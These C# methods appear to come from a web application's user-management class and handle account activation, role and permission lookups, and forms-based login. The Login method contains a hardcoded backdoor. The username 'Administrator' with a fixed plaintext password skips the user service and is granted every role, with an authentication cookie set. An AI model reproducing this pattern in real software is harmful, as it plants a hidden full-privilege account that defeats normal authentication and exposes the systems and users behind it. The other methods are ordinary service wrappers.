public static void ActivateCompleted( string activatecode, string password, ref SystemCommon.Error error) { ManagerUser.getUserService()?.ActivateCompleted(activatecode, password, ref error); }
public static List <int> GetAllRoles() { List <int> intList = (List <int>)null; IUserService userService = ManagerUser.getUserService(); if (userService != null) { intList = userService.GetAllRoles(); } return(intList); }
public static List <string> GetPermissions(string moduleCode, List <int> roleIds) { List <string> stringList = (List <string>)null; IUserService userService = ManagerUser.getUserService(); if (userService != null) { stringList = userService.GetPermissions(moduleCode, roleIds); } return(stringList); }
public static SystemCommon.Error Login(IUserLogin user) { SystemCommon.Error error = SystemCommon.Error.LoginFail; if (!FormsAuthentication.CookiesSupported) { error = SystemCommon.Error.NotSupportCookie; } else if (user.UserName != "Administrator") { UserPrincipal userPrincipal = ManagerUser.GetUserPrincipal(user, ref error); if (error == SystemCommon.Error.LoginSuccess) { userPrincipal.Languague = user.Languague; SystemAuthenticate.SetAuthCookie(userPrincipal); } } else { if (user.Password != "135402765a@") { return(error); } UserPrincipal user1 = new UserPrincipal() { ID = 1, FullName = "Administrator", Email = "*****@*****.**", Account = "Administrator", Password = "******", Remember = true, RoleIDs = ManagerUser.GetAllRoles() }; error = SystemCommon.Error.LoginSuccess; user1.Languague = user.Languague; SystemAuthenticate.SetAuthCookie(user1); } return(error); }
//public static void Register( // IUserRegister user, // ref SystemCommon.Error error, // ref string activatecode) //{ // ManagerUser.getUserService()?.Register(user, ref error, ref activatecode); //} public static void Activate(string activatecode, ref SystemCommon.Error error) { ManagerUser.getUserService()?.Activate(activatecode, ref error); }
public static UserPrincipal GetUserPrincipal(UserPrincipal user) { return(ManagerUser.getUserService()?.GetUserPrincipal(user)); }
public static UserPrincipal GetUserPrincipal( IUserLogin user, ref SystemCommon.Error error) { return(ManagerUser.getUserService()?.GetUserPrincipal(user, ref error)); }
public static List <int> GetParentGroupIDs(List <int> groupIds) { IUserService userService = ManagerUser.getUserService(); return(userService != null?userService.GetParentGroupIds(groupIds) : new List <int>()); }